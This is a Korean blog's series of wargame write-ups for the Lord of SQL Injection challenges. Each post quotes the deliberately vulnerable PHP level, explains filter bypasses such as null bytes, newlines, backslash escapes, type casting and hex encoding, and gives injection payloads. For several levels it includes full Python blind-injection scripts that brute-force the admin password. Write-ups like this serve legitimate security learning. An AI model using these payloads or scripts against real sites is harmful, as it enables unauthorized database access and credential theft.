늘모자란, 개발

늘모자란, 개발

Result for wargame:

  • 2017/06/28 [LOS] dragon
  • 2017/06/22 [LOS] xavis
  • 2017/06/21 [LOS] nightmare
  • 2017/06/21 [LOS] succubus
  • 2017/06/21 [LOS] zombie_assasin
  • 2017/06/20 [LOS] assasin
  • 2017/06/20 [LOS] giant
  • 2017/06/20 [LOS] bugbear
  • 2017/06/20 [LOS] darkknight
  • 2017/06/20 [LOS] golem

  • <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
      if($result['id'] == 'admin') solve("dragon");
      highlight_file(__FILE__); 
    ?>
    


    주석을 깨야 되는데 주석이 있다고 입력이 안되는건 아니다. 이런 경우에는 개행을 시켜서 다음줄에 실행되게 하면되는데, 개행해서 건너뛴건 여러번 했다. %0a를 넣으면된다.

    되는지 안되는지 알아보기 위해 다음과 같이 꾸며보자.

    select id from prob_dragon where id='guest'# and pw=' and 1=2 ; '
    


    쿼리가 돌지 않는다. 다시 제대로 준비해서 펀치를 날린다

    select id from prob_dragon where id='guest'# and pw=' and 1=2 or id='admin' ; '
    


    2017/06/28 14:17 2017/06/28 14:17
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
      if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
      $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
       
      $_GET[pw] = addslashes($_GET[pw]); 
      $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
      highlight_file(__FILE__); 
    ?>
    


    전사 공격 문제이다. 음..
    select id from prob_xavis where id='admin' and pw='' or 1=1;'
    


    ' 를 넣고 ;%00를 넣어서 쿼리를 파괴하니까 admin이 나온다 여기를 플래그로 넣으면 된다
    근데 골치가 아프다. 일반 스트링으로 돌리니까 아스키엔 걸리지도 않고 뭔가 불길한 예감이다.
    그래서 hex를 쓰기로 했다

    pw를  hex화해서 length를 찍어보니 80자리란다. 80자리를 찍어보는 코드를 작성해보았다

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
       
    import requests
      
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
    url = "http://los.eagle-jump.org/xavis_.php"
    string = "0123456789ABCDEF"
    
    loop = 0
    pw = ''
    
    
    for j in range(1,100):
        data = "' || id='admin' && length(hex(pw)) = {};".format(j)
        data = requests.utils.quote(data)
        print url+'?pw='+data+"%00"
        r = requests.get(url+'?pw='+data+"%00",headers=headers)
        
        if r.text.find('Hello admin') != -1 :
            loop = j
            break
    
    print loop
    
    
    for i in range(1,loop+1):
        for j in string:
            data = "1' || id='admin' && right(left(hex(pw),{}),1) = 0x{} ;".format(i,str(j).encode('hex'))
            data = requests.utils.quote(data)
            r = requests.get(url+'?pw='+data+"%00",headers=headers)
    
            if r.text.find('Hello admin') != -1 :
                pw = pw + str(j)
                print "[!] found",pw
                break
       
    print pw
    


    그럼 80자리 hex code가 나오는데 이 긴 문자열의 변환은 여기서 해보자. 다른 방법이 있겠는데 나는 그냥 찾아서 했다

    hex로 풀고 다른 사람들은 어떻게 했나 찾아보니 처음엔 한글이었다는데, 한글이더라도 이렇게 접근하면 뭐.. 될거 같은 생각이 든다.
    속도도 범위가 정말 작기때문에 엄청나게 빨리 풀 수 있다.

    여기나, 여기에서 소개해주고 있는 방법은 신세계가 열릴 수 있으니 한번쯤 참고해봐도 좋을 것 같다
    2017/06/22 16:20 2017/06/22 16:20
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
      $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) solve("nightmare"); 
      highlight_file(__FILE__); 
    ?>
    


    이름이 좀 무시무시한데

    6자리 안되게해서 패스워드를 따내야 된단다
    처음엔
    pw=\%20||1in1-- 이런식으로 해서 점프하려했는데 잘보니까 주석이 될만한건 다 막혀있고 id에도 입력을 못한다. 그니까 즉.. 뒤의 id!='admin'도 써먹어야 한다.
    고민좀하고 있는데 진짜 허망하게 힌트를 받았다

    [22.06.17 01:59] 나이트메어인가 할차롄데
    [22.06.17 01:59] 나이트메어가
    [22.06.17 01:59] 오토 타입캐스트 쓰는거였던가
    [22.06.17 02:03] 헐
    [22.06.17 02:03] ㅎㄹ...

    가끔은 어이없게 힌트를 얻기도 한다.

    select id from prob_nightmare where pw=('')=0;') and id!='admin'
    


    정답부터 적고 얘기하면 mysql 에서 문자열은 0이 되는데 0으로 매칭하면 참이 된다
    이렇게도 할 수 있다

    select id from prob_nightmare where pw=(''=1);') and id!='admin'
    


    정답이 admin 을 선택하는게 아니고 단순히 아이디만 나오면 되는 것이기 때문에 쿼리를 어떻게 구성하던 상관없다.
    여기서 이해해야할 것은 ''가 반환하는 값이 0이라는 것이다. (auto type cast)
    그리고 뒤에 꼭 ;%00 를 붙여줘야 하는데 이게 바로 주석을 만드는 것이다. 주석은 # 이나 -- 밖에 없지 않냐.. 맞는데 여기서도 또 하나배운게,
    mysql은 쿼리를 읽을떄 null을 만나면 멈춘다. 그러니까 여기서는 글자수도 맞추면서, 쿼리를 강제 중단 시키는 역할로 수행된다.

    우회에 우회. 6글자! (7글자지만)

    2017/06/21 13:18 2017/06/21 13:18
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 
      if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
      $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) solve("succubus"); 
      highlight_file(__FILE__); 
    ?>
    


    이젠 제대로 ' 를 필터링한다. 이건 감이 안와서 검색을 좀 해봤는데 답은 quote를 강제로 esacpe 시키는것이다
    그러니까 이미 escape 된 \' 이라고 거짓말을 치는건데..

    요컨데 앞의 뒤의 id에 들어가는 '를 문자열로 만들어서 quote라고 인식하지 않게 하는 것이다.
    그래서 ' 안에 ' 가 들어갈 수 있게 되면 쿼리가 성립한다. 좀 어처구니가 없다

    select id from prob_succubus where id='\' and pw=' or 1=1 -- a'
    
    2017/06/21 12:42 2017/06/21 12:42
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
      if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(@ereg("'",$_GET[id])) exit("HeHe"); 
      if(@ereg("'",$_GET[pw])) exit("HeHe"); 
      $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) solve("zombie_assassin"); 
      highlight_file(__FILE__); 
    ?>
    


    쿼리에서 '를 쓸 수 없는데 '로 둘러쌓인 이 쿼리를 어떻게 파괴할 것 인가?
    ereg를 파괴하지 않으면 안된다. ereg가 왜 deprecated가 됐을까? 바로 취약점이 있기 때문이다.

    null byte에 대한 검사를 ereg는 수행하질 못한다. 그래서, %00%27 이런식으로만 적어줘도 가볍게 넘을 수 있다

    select id from prob_zombie_assassin where id='admin' and pw='' or 1=1 -- a'
    
    2017/06/21 12:33 2017/06/21 12:33
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
      $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
      if($result['id'] == 'admin') solve("assassin"); 
      highlight_file(__FILE__); 
    ?>
    


    ' 를 쓸수 없는데 like 안에 제약이 없으니까 {}% 이런 느낌으로 값을 비교할 수 있다.
    그런데 뭐가 admin인지 아닌지를 구별해야되니 그것도 문제다

    문자열을 돌려보니 8% 에서 guest가 나왔다. 그러니까 guest의 비밀번호는 8로 시작한다는건데..
    이건 어차피 전체 문자열을 찾을 필요가 없다고 생각했다.

    풀 스트링으로 다 돌렸는데 guest 만 나왔으니, admin의 비밀번호도 8로 시작하는데 row 경쟁에서 guest가 위이기 떄문일 것이다.
    고로 한번 더 작업을 하니 역시 풀스트링인데도 guest만 나왔다. 83까지 획득.

    다시 돌리니 832에서 admin이 나왔다. 여기가 분기. 고로 832% 라고 답을 입력하면 해결된다.
    너무 간단한 문제라서 따로 루프 없이 손으로 돌리고 중지하고 그랬다. 코드 생략..
    2017/06/20 16:26 2017/06/20 16:26
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
      if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
      $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result[1234]) solve("giant"); 
      highlight_file(__FILE__); 
    ?>
    


    아주 간단한 문젠데 숨이 턱 막힌다. 띄어쓰기만 하면 되는데 띄어쓰기를 못한다.
    무작정 urlencode hardware에 들어가서 하나씩 입력해보았는데 (와중에 %5CR 뭐 이런 이상한거도 찾았는데 도움은 안된다. 한글자로 출력되지 않기 때문에)

    몇개 입력안했는데 그냥 bypass되었다. 깨진 문자열은 그냥 pass되는건가..? 나는 %0B를 입력했다

    select 1234 fromprob_giant where 1
    
    2017/06/20 16:12 2017/06/20 16:12
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
      if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
      if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
      $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
       
      $_GET[pw] = addslashes($_GET[pw]); 
      $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
      highlight_file(__FILE__); 
    ?>
    


    대충만 봐도 강적이다. 전사 공격문제로 생각되는데 내가 주로 쓰는 거의 대부분이 차단되어 있다
    이번에도 no에는 quotes가 없으니까 no로 쿼리를 만들어봐야한다. 띄어쓰기도 안되고 '도 안될땐 ` 를 쓴다. back quote 라고 하는데
    이런식으로 구성하면 된다.

    select id from prob_bugbear where id='guest' and pw='' and no=1||`id`in("admin")
    


    이러면 띄어쓰기도 없이 쿼리를 true로 만들 수 있다. like대신엔 in을 쓰고 ' 대신엔 " 를 쓰자

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
       
    import requests
      
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
    url = "http://los.eagle-jump.org/bugbear_.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
      
    loop = 0
    pw = ''
      
    for j in range(1,30):
        data = "1||`id`in(\"admin\")&&length(`pw`)in(\"{}\")".format(j)
        data = requests.utils.quote(data)
        r = requests.get(url+'?no='+data,headers=headers)
        
        if r.text.find('Hello admin') != -1 :
            loop = j
            break
    
    print loop
    
    for i in range(1,loop+1):
        for j in string:
            data = "1||`id`in(\"admin\")&&right(left(`pw`,{}),1)in(\"{}\")".format(i,j)
            data = requests.utils.quote(data)
            r = requests.get(url+'?no='+data,headers=headers)
      
            if r.text.find('Hello admin') != -1 :
                pw = pw + j
                print "[!] found",pw
                break
       
    print pw
    


    띄어쓰기를 못하는 문제는 가끔 답답하다
    2017/06/20 16:04 2017/06/20 16:04
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
      if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
      if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
      $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
       
      $_GET[pw] = addslashes($_GET[pw]); 
      $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
      highlight_file(__FILE__); 
    ?>
    


    pw에는 '가 차단되어있고
    no에는 substr, ascii, = 가 차단되어있다
    잘 보면 no에는 따옴표가 없다. 저기에 쿼리를 꾸겨넣을 수 있을 것 같다.

    이런식으로 쿼리를 꾸민다.

    select id from prob_darkknight where id='guest' and pw='' and no=1 or 1 like 1 and id like 0x61646d696e
    


    잘 나온다. 하지만 여기선 패스워드를 따로 질의하고 있기때문에 쓸모가 없다. 여기선 admin이라는 단어는 전사 공격할때 옳은 값이 나왔다는 상징으로 사용하는 true로 사용할 것이다. 문제의 의도는 ' 외에 " 를 사용하는거(였을거같은데..) 나는 그냥 hex로 우회했다

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
       
    import requests
      
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
    url = "http://los.eagle-jump.org/darkknight_.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
      
    loop = 0
    pw = ''
      
    for j in range(1,30):
        data = "1 || length(pw) like {} && id like 0x61646d696e -- a".format(j)
        data = requests.utils.quote(data)
        r = requests.get(url+'?no='+data,headers=headers)
        
        if r.text.find('Hello admin') != -1 :
            loop = j
            break
     
    for i in range(1,loop+1):
        for j in string:
            data = "1 || id like 0x61646d696e && right(left(pw,{}),1) like 0x{} -- a".format(i,j.encode('hex'))
            data = requests.utils.quote(data)
            r = requests.get(url+'?no='+data,headers=headers)
      
            if r.text.find('Hello admin') != -1 :
                pw = pw + j
                print "[!] found",pw
                break
       
    print pw
    


    2017/06/20 03:11 2017/06/20 03:11
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
      $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
       
      $_GET[pw] = addslashes($_GET[pw]); 
      $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
      highlight_file(__FILE__); 
    ?>
    


    or도 안되고 and도 안되고 한글자씩 짤라먹는 substr도 안되고 = 도 안된다.. 그 와중에 blind sqli 를 걸어야한다

    그럼 이렇게 우회하자
    or -> ||
    and -> &&
    substr( -> substring(
    = -> like

    썼던 코드를 계속 재활용해보자 (흡족)

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
     
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
    url = "http://los.eagle-jump.org/golem_.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
     
    loop = 0
    pw = ''
     
    for j in range(1,30):
        data = "' || ( id like 'admin' && length(pw) like {} ) -- a".format(j)
        data = requests.utils.quote(data)
    
        r = requests.get(url+'?pw='+data,headers=headers)
        if r.text.find('Hello admin') != -1 :
            loop = j
             break
    
    print loop
    
    for i in range(1,loop+1):
        for j in string:
            data = "' || ( id like 'admin' && substring(pw,{},1) like 0x{} ) -- a".format(i,j.encode('hex'))
            data = requests.utils.quote(data)
            r = requests.get(url+'?pw='+data,headers=headers)
     
            if r.text.find('Hello admin') != -1 :
                pw = pw + j
                print "[!] found",pw
                break
      
    print pw
    
    2017/06/20 03:01 2017/06/20 03:01